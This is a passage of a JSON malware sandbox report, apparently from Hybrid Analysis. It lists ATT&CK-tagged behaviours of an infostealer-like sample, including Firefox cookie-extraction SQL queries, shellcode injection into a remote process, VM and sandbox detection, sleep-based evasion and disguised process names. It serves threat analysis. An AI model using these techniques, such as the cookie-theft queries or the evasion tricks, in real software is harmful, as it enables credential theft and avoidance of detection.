PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003424.00000001.301123.12790000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003424.00000002.303043.12790000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"Launcher.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"System Properties.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"\\nss3.dll\" (Indicator: \"\\nss3.dll\"; File: \"00003540.00000DD4.30227476.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"www.youtube.com/watch?v=9bZkp7q19f0\" (Indicator: \"youtube.com\"; Source: \"00000000-00003424.00000003.313608.02790000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"findstr.exe\" (Source: \"00000000-00001120.00000002.302787.06150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to manipulate a file/directory time format","description":"Found string \"DateLastModified\" (Indicator: \"datelastmodified\"; Source: \"00000000-00003424.00000001.301123.020F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-778","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; File: \"00003540.00000DD4.30228515.0040C000.wprm\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; File: \"00003540.00000DD4.30228515.0040C000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieves browser cookies data","description":"file/memory contains long string with (Indicator: \"moz_cookies\"; File: \"cke8F26.tmp\")\n Found string \"cookies.sqlite\" (Indicator: \"cookies.sqlite\"; File: \"00003540.00000DD4.30227476.00401000.wprm\")\n Found string \"SELECT id, name, value, host, path, expiry, lastAccessed, isSecure, isHttpOnly, creationTime FROM moz_cookies\" (Indicator: \"moz_cookies\"; File: \"00003540.00000DD4.30227476.00401000.wprm\")\n Found string \"DELETE FROM moz_cookies WHERE id = %I64d\" (Indicator: \"moz_cookies\"; File: \"00003540.00000DD4.30227476.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"32,3149,,IsWow64Process,kern\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001120.00000001.300863.00330000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"GetFileTime\" (Indicator: \"GetFileTime\"; File: \"00003540.00000DD4.30228515.0040C000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00001120.00000003.313592.06150000.00000004.mdmp\")\n Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"tracert.exe\" (Indicator: \"tracert\"; Source: \"00000000-00001120.00000002.302787.06150000.00000004.mdmp\")\n Found string \"tracert.exe\" (Indicator: \"tracert\"; Source: \"00000000-00004480.00000000.298867.006C0000.00000004.mdmp, 00000000-00004480.00000001.299135.00774000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"00003540.00000DD4.30228515.0040C000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Exploit/Shellcode","name":"Possible heap spraying attempt detected","description":"\"grpconv.exe\" issued more than 3000 memory allocations","origin":"API Call","mitre_attack_id":"T1189","relevance":10,"id":"api-88","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"General","name":"Contains ability to copy files (API string)","description":"Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; Source: \"00000000-00003424.00000001.301123.020F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-449","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"00004376.00001118.28717018.00410000.wprm\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"00004376.00001118.28717018.00410000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"//./root/cimv2\" [Source: 00000000-00003424.00000002.303043.02790000.00000004.mdmp\n 00000000-00003424.00000003.313608.02790000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00003424.00000001.301123.02790000.00000004.mdmp, 00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp\")\n Found string \"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00003424.00000001.301123.02790000.00000004.mdmp, 00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp\")\n Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00003424.00000001.301123.02790000.00000004.mdmp, 00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT id, name, value, host, path, expiry, lastAccessed, isSecure, isHttpOnly, creationTime FROM moz_cookies\" (Source: 38040-177-00409D6A, Indicator: \"select id, name, value, host, path, expiry, lastaccessed, issecure, ishttponly, creationtime from moz_cookies\")\n \"DELETE FROM moz_cookies WHERE id = %I64d\" (Source: 38040-195-00409C99, Indicator: \"delete from moz_cookies where id = %i64d\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"Antivirus\" (Indicator: \"antivirus\") in Source: 00000000-00003424.00000003.313608.00302000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"Build.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001120)\n \"System Properties.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003424)\n \"windows defender.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001472)\n \"explorer.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00004752)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"idimap.dll\" [Source: 00000000-00001120.00000002.302787.00330000.00000004.mdmp]\n Observed email domain:\"dpmodemx.dll\" [Source: 00000000-00001120.00000002.302787.06150000.00000004.mdmp]\n Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00003424\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00001472.00000000.299297.00E30000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00003424.00000002.303043.02790000.00000004.mdmp, 00000000-00003424.00000003.313608.02790000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve browser cookies using SQL","description":"Found string \"cookies.sqlite\" (File: \"00003540.00000DD4.30227476.00401000.wprm\")\n Found string \"SELECT id, name, value, host, path, expiry, lastAccessed, isSecure, isHttpOnly, creationTime FROM moz_cookies\" (File: \"00003540.00000DD4.30227476.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-692","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00001120.00000002.302787.06150000.00000004.mdmp]\n Observed string: \"tasklist.exe\" [Source: 00000000-00004480.00000000.298867.006C0000.00000004.mdmp\n 00000000-00004480.00000001.299135.00774000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00001120.00000002.302787.00330000.00000004.mdmp\")\n Found reference to API \"10673402124752723029,4832,3184,,GetAdaptersAddresses,Iphlpapi.dll,\"254:34:11.571\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00001120.00000003.313592.06150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"Win32API|GetComputerNameEx|Computer\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001120.00000003.313592.06150000.00000004.mdmp\")\n Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001120.00000003.313592.06150000.00000004.mdmp\")\n Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found browser information locations related strings","description":"\"Mozilla\\Firefox\\Profiles\" (Indicator: \"mozilla\\firefox\\\") in Source: 38040-94-0040173C","origin":"File/Memory","mitre_attack_id":"T1005","relevance":5,"id":"string-93","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00001472.00000000.299297.00E30000.00000004.mdmp\n 00000000-00001472.00000001.301217.00E30000.00000004.mdmp\n 00000000-00001472.00000002.303140.00E30000.00000004.mdmp\n 00000000-00001472.00000003.313639.00E30000.00000004.mdmp\n 00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSystemEnvironmentPrivilege\" (Indicator: \"SeSystemEnvironmentPrivilege\"; Source: \"00000000-00001120.00000003.313592.06150000.00000004.mdmp\")\n Found reference to API \"SeSystemEnvironmentPrivilege\" (Indicator: \"SeSystemEnvironmentPrivilege\"; Source: \"00000000-00001472.00000003.313639.1C6C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00001120.00000001.300863.06174000.00000004.mdmp, 00000000-00001120.00000002.302787.06150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"System Properties.exe\" (Thread ID: 1596) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"$6c","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1055","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"NtOpenThread\" (Indicator: \"OpenThread\"; File: \"00002992.00000BB0.32836790.00401000.wprm\")\n Found reference to API \"NtSuspendThread\" (Indicator: \"SuspendThread\"; File: \"00002992.00000BB0.32836790.00401000.wprm\")\n Found reference to API \"NtResumeThread\" (Indicator: \"ResumeThread\"; File: \"00002992.00000BB0.32836790.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$6d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"Launcher.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"System Properties.exe\")\n Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; File: \"00000000-00003868.00000000.270215.00A42000.00000020.mdmp\")\n Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; Source: \"00000000-00003868.00000000.270215.00A42000.00000020.mdmp, 00000000-00003868.00000001.272138.12C60000.00000004.mdmp, 00000000-00003868.00000002.274059.12C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptGenKey\" (Indicator: \"CryptGenKey\"; Source: \"00000000-00000924.00000000.269856.00580000.00000004.mdmp\")\n Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; Source: \"00000000-00003560.00000003.279331.00620000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"APUBWS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\fg6ygf16.default\\places.sqlite\" (Source: \"00000000-00003560.00000002.273819.06130000.00000004.mdmp\")\n Found string \"Bookmarks File : C:\\Users\\HAPUBWS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\fg6ygf16.default\\places.sqlite\" (Source: \"00000000-00003560.00000002.273819.06130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"Found string \"vboxguestadditions\" (Indicator: \"VBoxGuest\"; Source: \"00000000-00003288.00000003.282889.1C310000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"file/memory contains long string with (Indicator: \"moz_cookies\"; File: \"ckeBDF2.tmp\")\n Found string \"cookies.sqlite\" (Indicator: \"cookies.sqlite\"; File: \"00002344.00000928.34718380.00401000.wprm\")\n Found string \"SELECT id, name, value, host, path, expiry, lastAccessed, isSecure, isHttpOnly, creationTime FROM moz_cookies\" (Indicator: \"moz_cookies\"; File: \"00002344.00000928.34718380.00401000.wprm\")\n Found string \"DELETE FROM moz_cookies WHERE id = %I64d\" (Indicator: \"moz_cookies\"; File: \"00002344.00000928.34718380.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"cookieextract.ps1\" as clean (type is \"ASCII text with CRLF line terminators\")\n Antivirus vendors marked dropped file \"System Properties.lnk\" as clean (type is \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Unicoded MachineID 8gndbkfpbv Archive NeedIndexed ctime=Tue Feb 24 02:15:00 2026 atime=Tue Feb 24 02:15:00 2026 mtime=Tue Feb 24 02:15:01 2026 length=118784 window=normal IDListSize 0x00ff Root folder \"20D04FE0-3AEA-1069-A2D8-08002B30309D\" Volume \"C:\\\" LocalBasePath \"C:\\ProgramData\\System Properties.exe\"\")\n Antivirus vendors marked dropped file \"tmp499E.tmp.bat\" as clean (type is \"DOS batch file ASCII text with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"Launcher.exe\" loaded module \"%WINDIR%\\SysWOW64\\Wldap32.dll\" at 75D50000\n \"System Properties.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FED60000\n \"windows defender.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FED60000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at FED60000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\syswow64\\WLDAP32.dll\" (Source: \"00000000-00000924.00000000.269856.00580000.00000004.mdmp, 00000000-00000924.00000001.270101.00580000.00000004.mdmp\")\n Found string \"wldap32.dll\" (Source: \"00000000-00000924.00000000.269856.00580000.00000004.mdmp, 00000000-00000924.00000001.270101.00631000.00000004.mdmp\")\n Found string \"WLDAP32.dll\" (Source: \"00000000-00000924.00000000.269856.00580000.00000004.mdmp, 00000000-00000924.00000001.270101.00580000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00003288.00000003.282889.1C310000.00000004.mdmp\")\n Found string \"wldap32.dll\" (Source: \"00000000-00003560.00000001.271896.06130000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00003868.00000001.272138.00E40000.00000004.mdmp, 00000000-00003868.00000002.274059.00E40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000924.00000000.269856.00580000.00000004.mdmp, 00000000-00000924.00000001.270101.00580000.00000004.mdmp\")\n Found string \"Ping\" (Indicator: \"ping\"; Source: \"00000000-00003868.00000000.270215.00A42000.00000020.mdmp, 00000000-00003868.00000001.272138.12C60000.00000004.mdmp, 00000000-00003868.00000002.274059.12C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00003560.00000002.273819.06130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on file \"windows defender.exe\"\n YARA signature for RSA public and private key matched on file \"explorer.exe\"\n YARA signature for RSA public and private key matched on file \"explorcr.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm file \"windows defender.exe\"\n YARA signature for encryption algorithm file \"explorer.exe\"\n YARA signature for encryption algorithm file \"explorcr.exe\"","origin":"YARA 